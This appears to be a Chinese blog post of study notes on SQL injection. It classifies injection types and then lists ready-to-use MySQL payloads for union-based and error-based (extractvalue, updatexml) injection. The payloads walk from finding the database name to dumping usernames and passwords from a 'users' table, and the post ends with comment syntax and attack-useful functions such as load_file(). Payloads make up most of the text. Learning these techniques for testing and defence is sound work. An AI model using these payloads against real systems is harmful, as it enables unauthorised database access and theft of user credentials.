SQL注入
注入分类
依据注入点类型分类
数字型的注入
字符串类型的注入
搜索型注入
依据提交方式分类
GET注入
POST注入
COOKIE注入
HTTP头注入(XFF注入、UA注入、Referer注入)
依据获取信息的方式分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入(可同时执行多条语句)
联合注入
判断是否存在SQL注入(检查闭合符号是否符号,注释是否被过滤,-1)
1' or 1=1#
查询列(报错就说明列数不对,选择上一位)
1' order by 3#
库
1' union select 1,database()#
表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
列(将查询到的表名放到''里)
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#
查询(需要查询的值放到select后)
1' union select username,password from users#
报错注入
extractvalue函数
正常语法:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_String是Xpath格式字符串
作用:从目标xml中返回包含所查询值的字符串
库
1'or(extractvalue(1,concat(0x7e,(select database()))))#
表
1'or(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#
列
1'or(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))))#
值
1'or(extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))))#
updatexml
正常语法:updatexml(xml_document,xpath_string,net_value)
第一个参数:xml_document是string形式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点值
库
1'or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
表
1'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
列
1'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
值
1'or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
关于注释符
/**/
-- (后面有空格)
--+
关于函数释义
information_schema数据库中三个很重要的表:
information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
0x7e = ~
count():返回某列行数
rand():随机输出一个小于1的正数
floor():输出的结果取整
group by语句:结果分组
concat():连接两条语句
limit:数据库中的排序
关于mysql常见函数
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
标签:information,0x7e,concat,SQL,注入,select,schema
From: https://www.cnblogs.com/yang-ace/p/18002372